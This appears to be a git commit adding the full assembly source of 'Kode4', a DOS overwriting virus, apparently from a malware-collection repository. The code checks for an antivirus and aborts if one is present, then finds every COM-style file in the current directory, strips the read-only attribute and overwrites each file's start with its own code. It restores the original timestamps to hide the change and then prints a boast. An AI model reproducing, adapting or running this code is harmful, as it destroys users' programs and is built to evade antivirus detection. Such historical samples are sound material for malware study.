Add files via upload

2026-06-16 07:49:24 +00:00 · 2021-01-12 17:47:04 -06:00
parent dda6c7045d
commit a2f096eccc
99 changed files with 48627 additions and 0 deletions
@@ -0,0 +1,94 @@
+;######################################################################
+;#  Name:  Kode4 version 1.0 (overwritting stage)
+;#  Author:  Soltan Griss  [YAM]
+;#
+;#  Description: What this sucker does is very simple. it overwrites
+;#               the first 46 bytes of all com files in the current
+;#               directory, with it's own code... as of scanv93, this
+;#               virus is undetectable..
+;#
+;#
+;#  Special Thanks go out to Data Disruptor.. If it were not for you i
+;#          would still be fucking lost!!!!
+;#
+;######################################################################
+
+seg_a           segment byte public
+                assume  cs:seg_a, ds:seg_a
+
+
+                org     100h
+V_Length        equ     last-start
+KODE4           proc    far       
+
+start           label   near            ;Check for Virex installiation
+          
+                mov     ax,0ff0fh
+                int     21h
+                cmp     ax,0101h        ;Abort if Virex Protection
+                je      done            ; present
+
+
+                mov     ah,4Eh             ;Find first Com file
+                mov     dx,offset filename ;use "*.com"     
+                int     21h                
+                                    
+Back:                                       
+                mov     ah,43h              ;get rid of read only
+                mov     al,0
+                mov     dx,9eh
+                int     21h
+                mov     ah,43h
+                mov     al,01
+                and     cx,11111110b
+                int     21h
+          
+                mov     ax,3D01h           ;Open file for writing
+                mov     dx,9Eh             ;get file name from file DTA
+                int     21h                  
+                                        
+                mov     bx,ax               ;save handle in bx
+                mov     ah,57h              ;get time date
+                mov     al,0
+                int     21h
+                
+                push    cx                  ;put in stack for later
+                push    dx
+
+
+                mov     dx,100h            ;Start writing at 100h
+                mov     cl,v_length        ;write 46 bytes
+                mov     ah,40h             ;Write Data into the file
+                int     21h                   
+                                              
+                                              
+                pop     dx                 ;Restore old dates and times 
+                pop     cx
+                mov     ah,57h
+                mov     al,01h
+                int     21h
+
+
+
+                mov     ah,3Eh             ;Close the file
+                int     21h                   
+                                               
+                mov     ah,4Fh             ;Find Next file
+                int     21h                    
+                                                
+                jnc     Back                 
+                mov     ah,9h
+                mov     dx,offset DATA
+                int     21h
+
+done:           int     20h                ;Terminate Program
+filename        db      "*.c*",0                     
+DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"
+
+
+kode4           endp
+LAST            label near
+seg_a           ends
+                end     start
+
+